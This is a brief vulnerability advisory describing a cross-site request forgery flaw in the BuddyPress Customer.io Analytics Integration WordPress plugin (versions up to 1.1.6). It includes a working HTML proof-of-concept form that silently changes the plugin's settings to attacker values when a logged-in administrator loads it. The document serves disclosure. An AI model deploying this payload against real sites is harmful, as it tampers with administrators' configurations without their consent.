BuddyPress Customer.io Analytics Integration <= 1.1.6 – Arbitrary Plugin Settings Update via CSRF

Description

The plugin does not properly perform the CSRF check when saving its settings, allowing attackers to make logged in admin change them to arbitrary values

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=bpcustomerio" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="bpcustomerio_enable" value="0" />
      <input type="hidden" name="bpcustomerio_pnce" value="0" />
      <input type="hidden" name="bpcustomerio_site_id" value="attacker" />
      <input type="hidden" name="bpcustomerio_appid" value="csrf" />
      <input type="hidden" name="bpcustomerio_intigration" value="Save Settings" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>